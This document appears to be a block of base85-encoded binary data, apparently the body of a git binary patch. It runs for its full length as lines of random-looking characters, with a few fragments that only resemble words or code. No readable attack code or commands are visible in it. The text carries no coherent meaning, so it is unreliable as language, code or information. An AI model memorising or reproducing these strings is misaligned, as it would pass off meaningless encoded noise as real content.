z_3)&3!O$W8D*&1(wJVvb^xm=04Q~fjjNzQFebX_uv(nb|xh+@_zB~P}r)`r{ou-Ie z37;#sc3R|+W8tGAbp`>v7+(B(JF6tpS>84iBA`3{Esj=<2GkoEF4R5-p#DiWRj4g} zyXkY@O^fBj9eLEi%%katBi%GDm~$1p#5p{ds1HbK%A#b$YFi(V?iy!y)mm$&;rSXp z)ni>}&ot&M)6{qKAN>TZE$f~McBmlJ2&qa!PxbbXnzRTFgewritqme=&l5t zv?NqSI|~Mv=jvQQCv2g;VPwScgJ!?l#3Al8K>iN^tX_Q=0JJkO!IZLVJ?t#3W)(K} zM)iLK%)>N{KkqY)-&YGd)J?%o_1#H_`5-=nkVI@KDX{82jOb%uL`HH|`=+-4&PWCo zq+!a?dhDcHaIovcF^9-AhsB@xp_=4FGZM=?<%_vc)Gl~OEk3W5Ih3J#f_yPmib041 zU3t11e5qFbavv7!e*{5Y0pS1tMo{lTn~9)O+y7rhPzm7wPZQLYXyE@uf=Y0Cu3m!Y z|7e2xAON&8Fnb9qh5b(@sD#!*2tQ5SU6g;OCys8vDlUt7qvFM1um5Rx2lL6suDvq1kEWVL5S9tP!C@jajIbq7m9INoe1bkJ- z>dL~(M7@>+Cp^9!YwUosa7_mSXF}O#9Yq%J4ACJfD%MBmWLJ-tt6m$0a~SVyH#FD9 z&DZUQ_f<50W^>hN-zf*0YzAO@5-`<=9>53kQbCIJvUDv3HU&JVctKA=$$w=fCq_z+ z#8#cs-?*U}S#siqCmuo}m5vZLg%EG|Cu<_csTOfQFBN9K zs8BqBvR_k=$W=QaAbnbazXj6OuS{8z?R{;%+h5fcv&r7$?YaYaQM|8Fi-pHOMhY0u zCX_9dFD3|qcOgvF_n~t5y&i>@r#^597B-#1Mbp}9F8XlhUmed;dQy+sTZnHAP(3jx zTX?D*&EZjJLvRLX7zMAPo;&=rE#mp0_W*WquhITndmUzXs`t6fqd3XRE`GKOj;rk6 zSF?*>knDDEN_O$fl0Dr!b{5qoJT(E(&3aV__O?vL>)wr+d2(ol;@wG?#E>3kRZ>^` z-u7giVtRKXhP;Wv0bhmUJ&;|z6V@(B0&gY-wYZSjyR)fkC(ab_k~`v*f?6u!IYd9u z=n9UtG6mF%Z2Q_F>bYRm9&F}}ff@p!N+(1xZeqjbIx9Suf6u#Yp=cb>rBxe9!rG4IDEsT z0=AlWZ$3ICvS%HKkA3#_*|hL&HU>54v9yQX6nP}=*&XF0UrlTDf;xXzuklhmyzuWA z`1W$zLtGQs@WO2}v5e7DlW#lNZ9NacLynh^JP^4e;{>)l!o!SQJUp@;E6Uz@CT9BgRlT|C&=vdsk&3g;`!~IH z#lDu*&3Rm(@$HZ78y;C5PA+fE-LGrcw}0*h%|-k9jkpAB;YU_Of`y;1UU1+vrYijh zP{7wQtKR5;-Fl83l@BlaW8_?@(jPO9oL_$0_s1hRM*2F<%7L}4d;Fq8s1Ig3c3>s^ z5mX`$W1=3j#qnN<116{M!xY4kkyz$Cked4lbrOT$e?Y$Wtf1# z$FheUSL~>r(L;717>Z;aNy7tcZO9Hz#tb>$ykK#vZ%KJmT6xpB?#;esO>;d>Q_gAo z_SFN+*-_zZMeCkOv{RqNm(u|c0d@nDo=UWP0`3J&1H1;<16Tl1lZK7&_QKRQCaVv( zoclAZJz%Z}6E^q^dQ-YuaDM>H&(USEgIL9GSa1|uKe302bHeDv4uMgABQM+o|9j@| z#s7Wp+o{fM=N>M2_{*I8Y+R?-xxRKOXXfxzApD8Rxj$nUaTu25h~4}j+fiB|un%EO z<00;(N`Cl?aYwc_{A)nuoW|Uq_|>8Y{04O*0x?I3y*7&{GFyJaXsmkZoAwQUzy>pY z*Eaks9drD?i+Et@$W1t;R~J5S)KnFe!k|9DVX@J|80w@QxfszSwu+TBYHH-1hl>-? z956P=q#b4rpCMySMc6B_3%fh=V4&Yh3S+i$S7U4XkuNU%GuK_i=}Ra4u;IfmA{5&m zTD^^%c8tuusP;?XI|aWh5b7UE9+`V`PH(&?shxFwupTsVRZ7IGR#Or&MNe@ZxeKT6 z)1EH6C~+UAS6TdrH_%9|!b$2?36WbG4|%Y+8(;8(p3Uusl3q7Fa%#@iEq}$D=y6}q zgl*Q9KwB0 z+dgfB3Df8*NhBq@58~X4oNm~Ph41-34NY&{f{&_2wW=ppa)!KtAF;s7N($Coo2DOY zx%vh4j=mPP?-t*ce=O>#{NXX>UmIGU;u00T~WfvZsEw%JjK{L->F2Srh zCMta=A2>a~JHD~_&rlM+ed=l6ijrX?W=hNBRV+pivUbydGWWW3?)yC&!pr#JFIRvN z7Cmur{C_t2j`rD%(+^xRyr$(H zEKAEK_LdLu*nCu$ZJW*kuYDrNus1Jl5kCFIkG^BmehZ1NeBR6oleKh2d2`KwW3$E- zd{r>lPTdjC#f&eM^x2GG-T50Y%*?}AcR&2_x#51@H{z$WwxYcxjQCsVoDqMS>+!rj zVjG@b#M9Ohha#zstqGBRLw1Zf6z;Z;r3!gYyw<$wuDgq6@*P`w?@6qHbVgU~#ilpe z$NM;UaJ;DZalowLl=it01GnyL-3mM2IQAxC`%;m;jy2q86V?xUpSInV#}(nTZMMTQie^9^IM>`-0zCOM8IdSHmPW!VsTl zBN}ir;v9YmGkh7&#G$;AFI1dFiI3oSR`PkZT=yZqiu?+?trg*m@a1;w42{6WN{I}p zILdhEg8-(2QzDmFwBUVdX3{;Euel# z;g7$)R=LB@1&3QVwe;L{BxPw*=Io8ROBbc|`1|^IH=Tqu*)QUgerYcp)Lz?(H{f-a zHx<3p6nVR8!COta%f$hE;EnpUwRGVcTV^oMa_)|7L?_nhTVB|_Ytz3H@w;$1K93Of zg^cCRo0@XhtGX&5o)WsC8ME(Oe*9xNnef?QsMd2kz*@}nb4EY+B-a3%_YEm}XM>vW ze~We8RJ5wO=$$?X`s`Uc^n$c!KUOHXUTKX#MJ`zIPiy=E9yW;2_Ho)nkMK==wvXr9 z7`H`Qnj(jrB8OUELH$SFws9wXEl^P9wjHM12JKaD+dHj1xB#+|FN`}eTHLm7!)uZv zNjS#0rg!9tr4fA8cB69Ca-V1}+L*Ybsc1DEwW6gt=N)R?n9`IB2V)tW`m|^9CAVd8 z)S4&5&Tnt@ue6pXbsxDIj@l+VYAdOYjSE&6A;vdNm9?<7*)x0C@)lkY9azsdJ@dDDV-)J7W=<9PY-$SQb`hUbW`v9$!8L-EkwFCVLQ@(cLVO5}Wg zdZimEzSH`;(#XA$o``W!X)TcZBltA>UYuD$00va}Z62+bz9*V&G?68$JkFFSAGzSjHp@=F7k5I&|qKHSe zBCe()E-)1FAE_Ujinu^4q6{29wIYt~KoO6&4IEZ>sDx_Z@Ih*1WqSpPydwh#ewUk{ zcQdNL(SHcyz;=qB3C%^1Hv87#!}Zt}98O=J2x;DT4egO9I@tBCDBm^)eUH-{jqz+9 zlZR7{`{JYuM*tuJ+0p{8Yg! z;RO8N#P+2Zr8gC=$1#v3{M>0mMq=)68onK=JC_c<4Mx8?vc8Fip=aXphE3R#fqYVr zE>6wFoQKRK9p36Yg6Rt!n>zh)=IO>Go>4b0I3Eq@NLIth;rMmS#PkUxr*EwN023j+ zCuNqOwmwe0_F%&i{BrHC#Zwcv;>ZmoyrgaO%U>Vn_^e@MdL(%QTGnxjT(LI1TDhx7wvGu=;JS@;QY__q~k9p z@t$)0MR@a#+wJ2o!dT;jnE1U#d=7$-p5|T8@z83Yos&0Mut?!PFv4ii;Y&vD38!LX z#~03{mwcqhdHjCFk>vBNB-GL_j(`&}n4=GZ5%xK$TaS2BH{VUVIP!;BaJ{ib;P_@c zoV*sSbGNek((m!jDPd3Qi^n%7F&1bY-|XQNh#%ja5KXBL*q+#|c=V)hYu>p*vA8FE z#mJYz*e)=Je)c?ThA=i-81rKG2stGd_t|&%T^Ra4G#(2^xxy)!%(*c2)g$L4Iz)Vg$spoBFNbZ&4kA3&glpZEF?nzPK0EV>p;OH_1i6>9=5Od?6 z1o>FOISco&4w|?Bmg>-FSNK}U)QiZya376(5A5f>1d)XQJ<%H2!y0&jYS0Hi`aC+^ zYrw|)5E=8}qg8BF2TBXlRw8PJcMlI_?d{`BIq^!L1F3s4iFYpccC7}cy|CvSykqYfeoQ;J zN2;&KiA|8dYOR*l;B5VDe3xT<^$UX7CYpy#n|d})O=_B&!q2om$SuT8(`{_vf>YkY zEiwC+j_Rfi^kp>AcB3CZvGmX8*P0fb)RsDOGI0kD^vlg3!d+JeyCv~B_J5`BN<7e% z-c*-_yze=u)U3q~x?mlO68YjPGZIBqoTkjY98babnaZg_AOnygBl&iq`Aq zk$-|w|6?qjsnJ-8xkvd!aLxZp+|m4jVu?Jyf&S!=prM8n*u<35WTV7s8*W(IV=%@6 zBX@$}9uho>!ow*&iOp)^zDp;tci9D=K8*G*ui+{DVuw(W#eoS&|O61z+{G{fTg}zfq(RVg~)cig=;!SVaoBm;^9@z9}o4e^! zu*LVyrn;2ox|9>!Xu%@s_^wZLPb8va)ck()?^%S?(tUl5PI@QmYkU%tNc`~cu`v%D zEU}-iJNDDW9Z<>mezf|H#asECDJd~1BEExz5NvLjhlM5etRk&&Dd{YE@EvNV?T-5aVeG^f>$0+%X!b6StnS@ranbj6VnTsgRxAWX%6(i4QbVuD`6h~~zC%kk&U+-fSO9wGbW08?ILP5QQt99OtqS*l$U_|s)=H%Zxc0xs2L`T zspb*2mMEWzVv&o9viAUWt%+i)ETSriN^_&GA!;L0$6!F(nk(5jpQxTM1NEATqM-hH zA5b+!Z7@;H>mX6viF({bQQ4j+%DWe+#U^SmP(LE7j;JaV#Z(UwwU?+#CW>qXi0Z!& zsGHrWuMpKhR4)^C5UFk=>L5`GCW-_vBP#tBpx%DgkOs?T5w)18U2fE0u_(Ou5K*g5 z)NZ8ONz}041NCha#k`&->Jg&mnJDJ9jHni(icJ*TS3Oaq_XCw>qL}J#qLveNjT@Co z)KQ|&ccc0fHU1Ak{qr}jBA-Xp3Zf30C|1e`3xGOF)bl2aY`jWT{sEwVWTMFYdZJbl z^^l1o!N-WQUIi*(qDb&TqNWn{6%)l&vx!;<&)0#fH&G<` zEuw0Oy4yrCRUJ{=iOO`NrW56T1E~HcibWnnR2@<0nJ5zMN7P=TK3HQEnW=gZ)&EVP zUUj41|0+-oM6EYbv>OMAI!M%GKvneUt+Y<_TeSG9fg&a*}S-X^L6tX5ha+N|Zj*nce zkShkpCA+pWvg?U_Ed4SpC2TzB@h$3&|Kq3m9^a@E_WXUK-O~FfbQ>$Kk;m*+5_|0>T-e11)y@8k1J>Umwt70Gr>=G{=qZ!z>)2`%v=bO1yD zi=mIH(3WH0fXlqmo4>AtX#YJxKST8W3VlxkzS2R=I-6+gj#H;AeoAzy(42wL*0u0$ z*KH#H<>^TNTjDc?`gcG*f8BQCx|8(F#PxGX6SK~XW9Th=9tP>(5uKvYk1-UV)5ibX zk{9ED^*%bOY4J3?ytr;7{%$*%e@Ek046qun+AX)eyuG+Bd6kuH_dSdiyKTv< zoyWEMaozGSLj(`rdg}DL6?|HA2ZX^2X#M9jJW=Sat$d;YTSvleSCVdhFcKA7>n>th zy4E>Oz)~cw6~wZLtxpoWiBJEYgEi9R-FPemJL~w+y0(rVSNi|g|6&P@IGkk7`)iVQ z?VppZF@ULndjRtRO8`FrtO0BXya{*@;CU;_x)5+J;8s8(AOKhd_yOQKzyZK9K+0c| ztX_bd0FwaI0CNCK0FMHm0&D>60UQFH1f+ncUVwpsd%#-`?qz`afFA+20^S0A1h@$J z{(xbCv4A@PyypB3`2j`%`T{J#dv7OMI{{As9tAuI;5GIr;sN>tdIC}a(*Sb-j{trS zcn+`^@DAW3K==2Pti`QK)(7~pu|t48fVF^CfbRev1~dSIfN6j{Kpno7xCrn~z)t|b z0c-)h0(cAX0U!x9djbXmvH+6+GXY`1qkz?b&47b|_W+)ElB`PrR|19sZU@{62m%@a z-vq1#Yy|8Dya{*@@G;<$BT3fvfKh-vz}^w&fQJDq0BZqz0q+5l{*JhS>j9$xIe-d417JB|HDEnpJKzA|UBJhH?(d=g0sR5P z0EK`M;6cET0ILBT06PH(0dE720(wHmR|7@?c%?vBc}<2~dHoVPuobX^`he?h)c-(0 z7NA#D7hZ?{tOo1`d<=LG@I3&pV@Q_{TIU1a!t$A<)HYmAaO#PO^J#POz^< z*j~_ib)d)2#B;AFlI&a4J&KxX}Hdp>pXQKR@dqE zzW9Rk&+Czz+P!->UMX^&YhEf}{?~VO56Ibnt!3|iCdtmkef=-xy$8zTxx}*Vi!A&7 zFIe{VxZer*FTi5Jp8>l8xffe@7T_ho7Qp(a9T`*@&tcGA0{Y+ZTK0DVKa9f1Pbb(v z#q*PZR{_uWw(Nt?B-oE#Y1!KVZ}~m;ZroFzOtK%y#%Jel@z}M1R-eb7o8hsUzGk$? zz9ZAqmj1zU9{bkusH-s^`+me73EUE-&qKVq|4guN$Nl|L9{bn8O}N!#-+r6Nehtv` z*GcwE(=7W<#NCo3bzKyk9ju-k^!n>c{Wamr>L8?c)WDB=D#^ZSlE$7mrE6Vjv%7!xGId@{7uP|fM9emC#yn`R~Q{kBtb8<2Y@rLk> zoE*!V@i%FQltUq(&rMb`86SNGEPhwK?Ip?Ny z>z>-9SszfB6b;?<@QCz3S?I{ja(9y6XoF9OS6mh>@di zx%IZu8DlcDd}GIr&%S*^PHx`B{I5(ZC@h*hW$GPw-ZgFd-NiFH*7C2;U+}g2tm1*! zTLV$XV!%iMzfyV&A8?h{RvqHf-d>b>D=Z)tT^O~4=adrMIj3}7Q?10QG|c-UhvLR}qNEcMFzGV9dL z>wn|37fWfefBh}}7aJb`Z9G=$I{RB>wf~EaztD3260ENMnH27~oIej%|GM(0(|i9n zR=KOp?d!GT|Fs4rENuHr=;EbokoWr&oIg)O*Zy?+_N71DkTbOa=5!JMbdG#;o^7j( z1&&5@$M0HcomjTzJj)Y5F$&*l;r)$^9(eGf#Z3=4FIoEaZ#?oJ-~86HZ-3{z%m4Fx z-+%PKe(=K;kNxQJl|TN;Pgniy=f8O3$)}!P{md_awdU8qd3No(=YG5X`3)~@+_d?{ zEx+5kZTpU$yLP{{=jFZoUitn0KOA`V;A^kH@#g>efelOKNcuT%fVw8E$Ds5l}}r9TJ$3}6l7rR(6mYh*B1D9ph)zsliK@9w20(^4r%}KHNYK_O=2&)QzBdl8d@hXe{ zU5{QlH~QyQVGOB{{#gn$NQDnlVN9EkP+l3)dzR(5N&!{YO#IK$j%DRp)z%zW*hIt% zBV5NS0KNtxX37jJV$A~7BAnOlcn%tJm zycdF7#;7&IrhrZvDEN)gLc}uPb0NQ=k){Cn*mvfw^Rq0;2fv-6X!D))$UEtfSEh%K zj2}@|HKJB2M;Wf`y}7u&e5l7|<>n45D;tCdT=}T}3_zB@)L%8zuPQvRdQRK(#L{pz zg9|XC(SaF}S&>>Wc6%hCXxttNs*230300~(ED4oXfc9Ab%uu8xBymcD>Jj-^pl^XL zX+TT*X<2JRuIwQes7S_LKHNT>`5(hF6pr^1Rzs5Tll#a|ZmM_&pf@|0U0 zRM>(@^j;EXS_|nc#J3R7LL3WtYl7voCPBk7>avDdgE8*N!V?Bl%r8(oHsts7Uf>T; zE(stVp2r!_863tjZYlmK@FLX8SZjcV&xN-=-(cMYiWsP=uskc<%7mU~sgTU-kgu*X zoFA$#^|QvRK&2G*8A8qa!A%)j1!c-s5QH{VB8DHWnr$|S{J!`NQ6ay+wwN;KV(qnz@~|r?J`qlDV}H%$=AR(UDEYExUIf} zNXruY5s%WEg|d2)Lk-fh*C17)9>85n%TUr4Oci2k?zL{|d~RsVC%#^hN^E_Tww8A$ z^s^A}tQX2&Fd|{fiu?`yT=c?Sj`X&2Xr8p(;+3GxCGWwo9i+(i#o8`WtwPGf))kM2 zSLqz}R`cSt*TL4!ZS*uBU8}#j$SZ!1?d#CY@1{?XA6pXJ=qJhV#P+YM{su#T$X|Op zRgf~R97|rI~ly{d4pk85@yjAhU-`&8V&gnP?}_>nx^>u~Rddw<-&%4aL-k3gZ(4hOt~ua zWQ4KYVihv2>+t7Ai=k#ygT=eb!4pRwl(up`Ay4tI2BHrc2>PQSH&ULZVzK|FrIysB zHCst@F8;q2u~|2bo;8zU^+CW5fOM-o z*{PN<`l9}{H17(5-x}5lO3AV}u)oLB9)UVuiD-1uov>HBG zC9KQ6AvIVlLEvDd;hkwq7=d?2!i8YE_)Mqn2v&Enc|$tFakpx!=UU_-608jS%Ldej zOTvBq6jZFMAEF<^Ez*7BmyCFNKLECEX1 zy#~%}-~!ciN@hdvBK}agdH|BZeuf5=R#XO6+M1BJ?Kud=3Hs*_nCCAElmyGHit6Aj zWEtdmv7$Pl!e)ViuylDi0W(7-^C|F&(HxTAE4{AGQ`@WM&J(oEPtrVKPU!s6^(;(SA_jR ztU*JoqG2T%RENkO+I6tBqAeT!9z!P@2ZAgqGt$iT2UsY}igGo8dgweG;V7^UZ)<;C z7>l+)jZ^K=XkR*G#SIdR39i0BBp~%$a^AbSDg6L=+E(E9apy^*e;% zJWE?r_NFWnhDh3qXR+O}Qo|vXpUbGIE*%D2G^+#^PaSc>u-sQ!UWwsn_xjh=c+15sQ~O?lsBXL+rqrj!XRl|7@toiCE32bBC92O-ygkiSN9BSBkp-Q zW2`mmJ=0o^`<>&*TTiHawzU%X%<%=*Bhm2r(f5idzEHgvT3NW0PCD+)udljiSQn{# zj+LVBnbxsH;>TDm>Yi;KRQKDh-Rgd)wMN|wtmW!nXf09qaaM!67vZp-&@aP%?4&VP zp}J>Uqt!jfN>_KxMBtv~%dmQ=d!}{L!}lDkMcoUmgSh+hvaRj7XBQS&>v7MUILTTS zy)RSuJZnDg`GsSw3fz4K1=dt`A7hPI_Z(}ex=*yc>YiyOse6`nEP?UIT8Gr#XYE$^ zarp5zhL5*ase7)qT;21mMe2^RzPe{vGt~V~D_`9wS)eq`DVb$D;RlaW5*!unyxsZpP24lb=UMxCzZ3jL!`DaeYjDrY z$+A}AK7PVD>ruYnnPV-F-k0Fc^bOH_829{1+3@|y&jf24?ssO4#awTaJppnZ9ep1f zefQ#CSU6GfOMYy;^NwT4icj)SetY!zQjc@(o058@3`j~$>S5a{m#0k3%(pTCd2RMI zug#t&%TVwvrC(i1p|g@PwW#2a_2x*O}O3~8wr-u z%&4GBZXKvXA46+mq3mAF0?w}Wmdq)s43x}d=QI{w6nb7iEGn_erdG=j1h_~bEV0>tk#1Hs>?*dCM7JGTV?x!l{XuU{WsTn|1X*-8_1-{ba5j48 zNgz3(IvA+;mLq4c-ri(o2j{?Im7#ckc5&nt-6VJj_{+myl&8!;rxK+mzh>^)!IGMq zP&H_P%pX!^M|#COe3sg9E#%N9V^yxUJvmV!j)9w5QdSn?WNSY9 zYj|d?)iQrjbqy--=w1;eC-T=u6CMw`74&Ejb0lcgwvsEljzF0gtZ^onjxO_3wNd7; zEe%!HK&32SoxjvuUJXY9nib_KBQy&|sg2gY=t^vvz15*Mt|6~rO(Z-B4l-_0W~*8>kckc>TO=?(b}i>(x^f4^b*QyQ?2g~hJ?{KZJ-?ccDt z0jVr3cU4qWq@m6SSMZ`)& zy*H~(zC>HzF(tMBXrzo#sH7gDW|$M*i(2S!c?;`n{4OFh&^}=rIA*CV^@b}j3@G!$ z=?#_jvu2>-mCS;m=O{CQmQhpB<^lIDLc8I`a0g99F*_p~XUS0#E z5}GB}4WPJfxk9VFs{Au_9C+H{N;Lm@Xe&|d41a}Y`;06ZaXV$)Ef0eyLlP)oJGsRb znKh#(01HLyfZ}nF)?L%RrGe_&NXRecbK?!{jOwajrP|X~TRDsMt|?G2Fxb0mI{1*f zol_pBt&XX=wrpbKpw1^17G{IS4BvQbMx-o^;R_a~g77qfYbTvHGL|7jE$_I6HsZw< zpMmc{)2Kg{80*~IcVMLj0qhlE(0ukn|{VEf;FQSO{N6)gp~%#7|I#d zOMiI@dpWZNj;Pw`cbHz7ci3aOIA&rckiVEV8*Qu%52JlomrI;EG>WLRIWtx5GjK*! z6Zm{LHXF_dTn!jC>K5zPTW_(h!t)@&0Kj#CYXS4;BhJ;hGY#Ntfc{wjzaDoaQL{cs z&fod5t^y1K47l}L3rR5Jgl7W&yACe{Fh#`vj3xuY7Im~Y(%u5-jrUO?ax3CQby?{# z;}sX96ADz$3c@}Y7o$sqD6p)G=bCWnrlGj|OJ-K`y)+Pt_65boYQV z7sY)%V025Ooy9v~6kr%&C?Fls7vKdP!oi_lxc3BH1h4@;04abZfCV^ZC)pECVb7Gyp09(*WZE{Q)U} zmNd`-tO6_oQ~_xXB0vowA21YvMd*C-G^SJr%c|!Vu%p77Ho}W){UPZzvxDMk05Jvi z23!s*KLd{J9DjawO{7MJ$-9uTa^bt6ZyQrxHwEk01r}Gw-Rt69z0L!0t-CMi-q7bO zc^P@UXXjz`qwZPiUZBFce^xb3zn3mC<{<;Mba2sK@@8S5z0$4`BM@^YI<;EA@(Z2t za`@E_!U;#Kc7n00PHqdaZ@9p^15k+fT=iB6ZYSZb7;%d5#OFK}Q(KWhUwa>(QdJa-^9X=ELe7F|x`_$<>%OjJeUf$8#DD>#R_13h*yTv4(<-Q129$9M+WL+oT?Fx z=l+Iq2xV;Q6*n6#S<=0ZD!kPg zG?JnpAl;mUV4EsMV+P7X4?hS^CN?1vxHz_Mcm`(`jPn#NeJ%Uht1WdN;=F#b=PB;R zd+%#v&r|eA`d=V@uczg_%l;cJd+<=po;TRCkKbU~A;A0TmR$pQXP{;8eF`>kjAbtb zJP2q8tN{E5z+F<9DTK5u6o33L-a5?~#FAYknOGUA$7&1rmdI*L4bpPe(+hp$8Vc9h zxLU_*U--{cb&hM zw@{`nW*ad%>70*DwK^LFFWgaccJF##CQ98|Cv@~L3njoD=2_{3 zn-8H8n`>9|rA|^Gv%qCJ{wg7t0VoZn6Tpfi@n_3jNBm`huA9sFe70{dT27xQztX1I zrdcPvca>kpq?Ug=?P@PK=1-~}Ygc^vIr>$g>X3UASc_b7c3YqJc24uboHNkcW35X( zeQsZ0y5;No%7B&nqGWFw_%ywgj`=Cek<1$stVkvb=oIIU4dEos_ahOxAwBqNdX*p6g<4OB&Um`P30c3p# zIHDI=45{1!8$SWhW*qMD9p{o4y=&G0J#Ko0nJzrNxqM*hi*w{K5&Nz=x{0MLr4)Tv zNc?95maR#$FPLuG{c-;X&WRE?13>>m`!fv7%M8`mgfZ(HEWqd=BQK2V=3q^L69Izr z1tV1x{Pnf^opJH*;On@?%@Bz%BSTClVAVpW;Wp+mk@E8B{%(~g!(^C1zAV&v2=3K2hmUAUMyZdwZlyBCdx<4lRdQLqd=Xv)~hJ#={F&ayTs<; zf9`kX7?YPf-pvS`6b=;Clw$g!2s;O`SD`@p&4twy{Z;aaINZIX_evvvHfBC!Vv{z) zRiTY!R`1a`%X;_K*Y>~W-nkT6QTD|AjCpmXb7lsszG7V0^uKoW)mNEktDR%7@t&Ap zUSWO)egJ&pBn*aga-C=5LfBu#YZ@S@x}+?p65A6(^&F;S?+|@i@qe^jz&r+GWctT1SMHGyLQA+uP4=7R;+ea@$$Llnk5zlAoL$g`NX?z&epi`H zIb-GaMXAJjZr6{lWIK04!DJV&h= zW~n>oVXUe*);`WJ88$3m)nA2@Y)5rKnQ-qr^^#VN=SawXxuV8CR^}wS%714zl{M_< zqX6{TW1NY8Y#E(Cpfg#@@Q0P?*jt-1a=TX_>B!5$vm`ePRAUtZ$v*@hn~(%;YBr z6gi_98-v~nYef3#mS~=3&=ENqL2rir0Q1yTMOVl-?L2v;j@{SGTnvFZG z2w{2Qf=De!9UKtIDMf~1R}6OW=%BptSFq!{-dJ(c82I$y#%XW0=&6KvN|slD%-3>H zzt_4J&{6B?hf>dk3}_FfEpkV_SIM6(sYGcBY4D2jBf|-UD+AXy_=%1e+Qt&x=|2ji zLmB5|;T4zTPaK>E&ne)3)zuaNjN48sbU%>Qjmi?`*mc8S5_&yO}+!o8O z#BVz+-fY>YH(E9&MEfr%5IOqJLfL4IIJOyx(y^8;)U5a%azc>pf;!C}Tuw7G4z15@ zMJb@c@ zztDC@yxiF@H<%F1yp`ICFLQO&$Kr5 zGkL|@m#)yE*U8$UKOr>C5Yjv|FR^_Bsl#|)(x$5wS_ekgg?G3}9* z$qWIBPH1pejiXfEo3Ov6FU_72>sx4(GV0`fx~wUji6`3BGOJbDAC7$44tUK4HJ+d1 z|DS}07pK>FX$sVPp7|2~xQ-|1eg;5pJPD<>nRZwD4CycB^f7x1wnw%l#>O5^aLUr^ z{+shbxd^8{szQkb%RWD7-Gh8-`E)C%ma>P}XN_ppIJ+-0bmD^?#yqqTQVKb{q^&B$ zv6ikllXVgFQu zevJfucCtia8;=^exNE}6=J&cBCqt#t_6-)`mhl<4jyrXnmohz z6ud*yy@S(l7=nGygH&%?sAMGLQhGW8>YDJz-uW%c}wGv6Y%NA%x3Db77ulAf(Y6+5fg*Yk|Ju7A$kICPkj z_2~G8;t5K47N~I^iY?3;S87R^TIu+YCN1VkUFBJK>Y$!4V7T@fCqk;C%g!3ANLo(x zb0vZ$cFRyxpbs|?;Ks9D?0?z+kb;cENJ;#INeWYDgbPQ`$k$1sc_qz`JS|dY`=Wg5 zV`-mTw{u!CJu>OMWXvUAo$Izq&680sb<>fWd@G<7wa!%=`If@pz>D~cKFEU75X-|7 zX%AW~Y6$71me|t8N{RK5IUX&y&gk?54bc{dE7FWdhjS>gx@eY)A8jAY6~J9IvwfY32c~mtg>y?Wc@FKN(LPr4vPuan67N9@{(4#O8{G4WndUsdJj4okK8G6cO8*GqZn)t^k| z&C>D_W<_lg=L5$8*beAnwa1f2N4QM1>M_7ignzI72hK5=>n_4)7WaQv*UQpSw2Yb9 zHSKRN0MOI(xzro+0I5&(mbLCm|4nY`lgsJ&Ry<3u#=e2!`R&rgr%g*e3&4@K^x)c? zmk~5&plNdaA^rz@+xYZ29*#HK&@?jR;MoIoOpmRSnyI}{vt0$yN+qqPKLIg08sWwH zc-jW?W6HB59%Y_D;&;Yp$8;TjOj;&Srucv!|*5q{5I>&+H;c8pXk%Ke- zqTfz`jwKSi%J0xn4q{Qo`f_f}3u^z3q_9n>-y{vfoICtlGd-PhpRe@sr zMb5m@?~nZ|2E9e@mWrj0?zoOP0$+g zBE8JEcG8gsP{-K^dv!02=WggvsSRvz?f-OrbJuk?(sKVbwp^=pKEwX7WyuOs7;V*& zsnBPO)-#aOnsrW^{y=ar2jdW4^dRWp@jJ})$#opkGV>H^aU91Sow;Sv3gNL^TjbPUSD`9Q7(=3`gq1Q&mtNp$N8C96vn(mg#9D*TrWWGcgV>z9Dg}<~xQj&gOR!&~CE~s=wnvt#y$p3bjMZDW zz0~^8yQ$yQaQ7%f+O_WC^sX|_Dr&Jo6hKSpFU4saA%!Ee?D?JGZ*dYv**z3 zWoG(MlZ(uho7CdV#OeFQ-|Ed`L#G^%!IZxlUIU)#!<%@qquHoEnSbwS+}{tn!Lf@o zW|Mx6{-O9;+WL4EKdfiROV(ZowOp>Q`=9(WEOVAwS&joKDOsW5_rs)hv%jWKWcqRp zmH+hwUyQ^P}fQ4uZ&?GyW_obw=7gzX~V5SsB8(7ey|!UCJsX zzlz3^O0Pz%C8uCWN6U!2Ot?-^jrt&GY-7xu^)MJKcl;u#@FHF}Eua2E9Y;mFq%0@t zigdLf!hBfwtP@JendKG#gSyRCQ~GlBg?VMbhRPa~d}&jUUzwgQguIbcmP~vh+AY>6 zd6D^FC!V%TrXjW+Ok2g;-kYxullE(ed^OVA(RMBfRp|o>6CwmAq)~%v}WZ$fT~= z_vjIyc!nIwiyz4r6pQ1Yf>@e*9B0}ly*}ftE)GO)bx|IneOo-bv3&46qMTVYDYvJ~K8OBX9`fT^ zBAzc3zkz%1q^-+5Tl?NrBv1s2vKE|O676H^o}Sj$*%KKr9>augXJZy8rNs4OO~MPl z3!!TquTd{M=10=dH)0um$}&;=WiKmRiNwJ9w!2z-R+lx67`o?A2hqkn$tcZYhv@xAPdwS#UCyg9G=zG;am9}jkU6y@_cCJ!SN4`hE*SFte~sMv_y3di_Jw)h9aTRuqx`x2^LNZnelPg9Z+~^h zf1TcP&4cR}EZ_dJu!_`ENEsXu;;=c;S38{mwYQYIucP<88tZ4eHoF#ouq!^b zV*ogM2jFPNnaa_AhQH&I%!QrdrTJrz8HCNH9d~%|jo&Krs(75imeDh9mz!kG*EVObgB420e%LCj3NbA&2;qZmR@Mfa^z_tH~QJJ?S< zy;iH@SJUQ<=Go`ZK0$WHm8pJ6&ogNGoE{Bz!^Yon`@ynL1pP2KcBX5EJ`8%no!D6wv(EqbCAA|v`Zlwwp%_sZA@z@ zrRiQ*a`>1OO)sq;-{Nn}r>mTiHrL9%YF&qZHOHB}^U6~FW`=r}b`;xtXgT%okP7u$ z{9Nv?p#LIt#1qi{jiw{Gv8q01AtwJ~aqNk-C+gsG5lWwpt2LB6&*O1COqnuY#^jZS zH7oeV0>Rj=6Tl$x4_IQ(PWPo{;6Y5eEVaccN%G>LRb zL)WKS7AMRt720S=uXQPTj#bWn&@PEw9scrE%a`96nF!mbB`&jnrI@Frt&=~IlarRS zHJq81aeP74;?erH|7)L?zv#iQ_;#L-l-y}Gk3~pNkG(Sr?zCfI4aje8+gS(N<;f^_ zPCKrj;SxFfE;WMf0zX*r9` z@^XAB?JQOw%(ko3vZo}s?c1%+YXH8!En4=V#y^3Z4q?2oV%8V%vw9EkM!DPA2-{mV9h?~?8_+j zW;{wxd#HUqj#AyLuZ~N)jj}cJE;NM z-*VEKc7~&ET6*y?ME-97!ZP^o*#2q>nB0mkX1V+oU4KqYi5J@+wWr6t$3jE7+QHpg zrWYqWWt=i<+LDGo3D5WFQ1jkC4Lw)3Azghuh#c(L^5oY_tKvU+AJ ze$MoKV`shec!O(M#87taWx}~3&dceNus?9-4c+{5o|vsg{1tlQ^pl*~R^i=|fSw)v 